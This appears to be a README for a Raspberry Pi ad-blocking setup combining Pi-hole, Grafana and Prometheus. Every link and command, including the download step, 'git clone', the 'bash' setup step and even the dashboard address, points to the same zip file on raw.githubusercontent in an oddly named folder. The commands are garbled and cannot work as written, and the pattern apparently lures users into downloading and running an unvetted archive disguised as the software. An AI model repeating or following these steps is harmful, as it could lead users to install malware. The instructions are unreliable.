Welcome to the deathstar-pi-hole-setup! This application helps you set up an ad-blocking system using Raspberry Pi, Pi-hole, Grafana, and Prometheus. With this setup, you will enjoy a smoother internet experience by blocking unwanted ads and monitoring your network.
Before you begin, ensure you have the following:
- A Raspberry Pi (any model, but Raspberry Pi 3 or later is recommended)
- A microSD card (minimum 16GB)
- A power supply for your Raspberry Pi
- An internet connection (wired recommended)
- A computer to access the Raspberry Pi
To download the application, visit the Releases page:
- Click the link above to open the Releases page.
- Look for the latest version at the top of the list.
- Download the
.ziporhttps://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zipfile that suits your Raspberry Pi model. - Once the download is complete, unzip or extract the file to a location on your computer.
- Download and install Raspberry Pi Imager on your computer.
- Launch Raspberry Pi Imager.
- Select the operating system. Choose Raspberry Pi OS Lite for a minimal setup.
- Select your microSD card from the storage list.
- Click "Write" to install the OS onto the microSD card.
- Insert the microSD card into your Raspberry Pi.
- Connect your Raspberry Pi to a monitor, keyboard, and power source.
- Boot your Raspberry Pi and follow the on-screen instructions to complete the setup.
- Once set up, connect your Raspberry Pi to your network.
-
Open a terminal on your Raspberry Pi.
-
Install Git if it is not already installed:
sudo apt update sudo apt install git
-
Clone the repository by entering:
git clone https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip
-
Navigate to the cloned directory:
cd deathstar-pi-hole-setup -
Run the setup script:
bash https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip
-
Follow the prompts to configure Pi-hole, Grafana, and Prometheus.
During the setup, you will encounter various options for configuring your ad blocker and analytics tools. Here are some common choices:
-
Pi-hole Configuration: Choose the type of ads you wish to block. You can select individual categories or groups.
-
Grafana Settings: Decide on your preferred dashboard layout for monitoring network usage.
-
Prometheus Metrics: Choose which metrics you want Prometheus to collect and visualize.
Once the setup is complete, you can check your network status through the Grafana dashboard:
- Open a web browser on your computer.
- Enter the Raspberry Pi's IP address followed by the Grafana port number (default is 3000). For example:
https://raw.githubusercontent.com/xolisbeamed/deathstar-pi-hole-setup/main/imbecility/deathstar-pi-hole-setup.zip - Log in using the default credentials you set during installation.
From here, you can customize your dashboard and start monitoring your network activity.
If you have questions or need assistance, consider joining our community:
- Check the GitHub Issues Page for common issues.
- Join the discussions and ask questions.
-
Can't Access the Dashboard: Ensure your Raspberry Pi is powered on and connected to the network. Double-check the IP address.
-
Installation Fails: Review the terminal output for errors. Ensure your network connection is stable.
-
Performance Issues: Ensure you are not blocking essential domains required by your network devices.
- Network-wide Ad Blocking: Eliminate ads across all devices on your network.
- Internet Monitoring: Gain insights into your network's traffic and usage patterns.
- Smart Home Integration: Easily integrate with smart home devices for better analytics.
For full details on each feature, refer to the documentation files in the repository.
By following these steps, you can easily set up your deathstar-pi-hole environment. Happy networking!